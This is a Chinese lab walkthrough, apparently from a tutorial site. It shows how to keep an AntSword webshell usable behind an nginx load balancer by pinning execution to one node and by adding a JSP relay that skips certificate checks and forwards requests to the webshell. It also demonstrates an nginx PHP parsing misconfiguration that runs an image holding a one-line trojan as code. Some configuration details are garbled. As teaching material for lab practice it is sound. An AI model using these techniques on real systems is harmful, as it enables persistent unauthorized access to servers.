負載均衡下的webshell上傳+nginx解析漏洞的過程
負載均衡下的webshell上傳
一,負載均衡下webshell上傳的四大難點
難點一:需要在每一臺節(jié)點的相同位置上傳相同內(nèi)容的webshell 我們需要在每一臺節(jié)點的相同位置都上傳相同內(nèi)容的 WebShell一旦有一臺機器上沒有,那么在請求輪到這臺機器上的時候,就會出現(xiàn) 404 錯誤,影響使用。是的,這就是你出現(xiàn)一會兒正常,一會兒錯誤的原因。
難點二:無法預測下一次請求是哪一臺機器去執(zhí)行 我們在執(zhí)行命令時,無法知道下次的請求交給哪臺機器去執(zhí)行。我們執(zhí)行 hostname -i查看當前執(zhí)行機器的 ip 時,可以看到一直在飄,因為我們用的是輪詢的方式,還算能確定,一旦涉及了權(quán)重等其它指標,就讓你好好體驗一波什么叫飄乎不定。
難點三:當我們需要上傳一些工具時,麻煩來了: 由于 antSword 上傳文件時,采用的分片上傳方式,把一個文件分成了多次HTTP請求發(fā)送給了目標,所以尷尬的事情來了,兩臺節(jié)點上,各一半,而且這一半到底是怎么組合的,取決于 LBS 算法
難點四:由于目標機器不能出外網(wǎng) 由于目標機器不能出外網(wǎng),想進一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個場景下,這些 tunnel 腳本全部都失靈了。
二、環(huán)境搭建
漏洞復現(xiàn):
我們假定在真實的業(yè)務系統(tǒng)上,存在一個 RCE 漏洞,可以讓我們獲取 WebShell。
環(huán)境搭建(下載地址:https://github.com/AntSwordProject/AntSword-Labs)

將下載的環(huán)境上傳虛擬機后解壓
──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# chmod +x /usr/bin/docker-compose
為文件賦予執(zhí)行權(quán)限
┌──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d

連接蟻劍

查看ip,發(fā)現(xiàn)一直進行漂移

解決方法
1、關(guān)機或者停服
首先在測試階段,我們可以關(guān)閉一臺服務器,只保留一臺機器,因為健康檢查機制的存在,很快其它的節(jié)點就會被 nginx 從池子里踢出去,那么妥妥的就能繼續(xù)了。 但在真實項目中,是不允許的,會嚴重影響業(yè)務。
2、執(zhí)行前先判斷IP;要不要執(zhí)行;
執(zhí)行前先判斷IP;要不要執(zhí)行;
MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; then
echo "Node1. I will execute command.\n=======\n"
ifconfig
else
echo "Other. Try again."
fi由于該docker環(huán)境中無ifconfig命令,需要更新
root@ae64558c1d47:/usr/local/tomcat# apt-get intstall net-tools
將腳本上傳后,訪問如果是0.2ip地址,就執(zhí)行腳本
3、在Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)

腳本內(nèi)容
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.19.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>訪問后就一直是0.2地址

nginx解析漏洞
該漏洞與Nginx、php版本無關(guān),屬于用戶配置不當造成的解漏洞。
直接執(zhí)行 docker compose up-d 啟動容器,無需編譯。
正常訪問

在url后加一個不存在的文件名.php,會出現(xiàn)以下頁面

這是因為該文件中的配置文件安全后綴名為空已及將cgi.fig_pathinfo設(shè)置為cgi.fig_pathinfo=0


當訪問一個不存在的文件名時,會自動將上一級目錄尋找文件按照php形式解析,而圖片中含有一句話木馬,所以出現(xiàn)上述頁面
到此這篇關(guān)于負載均衡下的webshell上傳+nginx解析漏洞的文章就介紹到這了,更多相關(guān)nginx解析漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
如何在centos上使用yum安裝rabbitmq-server
這篇文章主要介紹了如何在centos上使用yum安裝rabbitmq-server,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-09-09
centos7下基于nginx+uwsgi部署Django項目的實現(xiàn)
Django是一個開源的Web應用框架,使用Python語言編寫,主要用于搭建Web項目,本教程介紹如何在centos7下基于nginx+uwsgi部署Django項目的實現(xiàn),感興趣的可以了解一下2024-04-04

